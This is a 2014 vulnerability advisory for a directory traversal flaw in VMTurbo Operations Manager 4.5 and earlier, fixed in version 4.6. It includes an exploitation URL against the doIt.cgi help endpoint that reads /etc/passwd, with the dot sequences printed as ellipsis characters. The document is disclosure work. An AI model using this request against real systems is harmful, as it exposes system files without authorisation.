Directory Traversal Vulnerability in VMTurbo Operations Manager 4.5 or earlier

Product: VM Turbo Operations Manager
Vendor: VM Turbo
Vulnerable Version(s): 4.5.x earlier
Tested Version: 4.0
Advisory Publication: April 11, 2014
Vendor Notification: April 11, 2014
Public Disclosure: May 8, 2014
Vulnerability Type: Directory Traversal

Discovered and Provided: (Jamal Pecou) Security Focus ( https://www.securityfocus.com/ )

Advisory Details:

A vulnerability affecting “/cgi-bin/help/doIt.cgi" in VM Turbo Operations Manager allows directory traversal when the URL encoded POST input “xml_path” was set to “…/…/…/…/…/…/…/…/…/…/etc/passwd” we could see the contents of this file.

The following exploitation example displays the contents of /etc/passwd

http://[host]/cgi-bin/help/doIt.cgi?FUNC=load_xml_file&xml_path=…/…/…/…/…/…/…/…/…/…/etc/passwd

Solution:

The vendor has released a fix for this vulnerability in version 4.6.

References:

[1] https://support.vmturbo.com/hc/en-us/articles/203170127-VMTurbo-Operations-Manager-v4-6-Announcement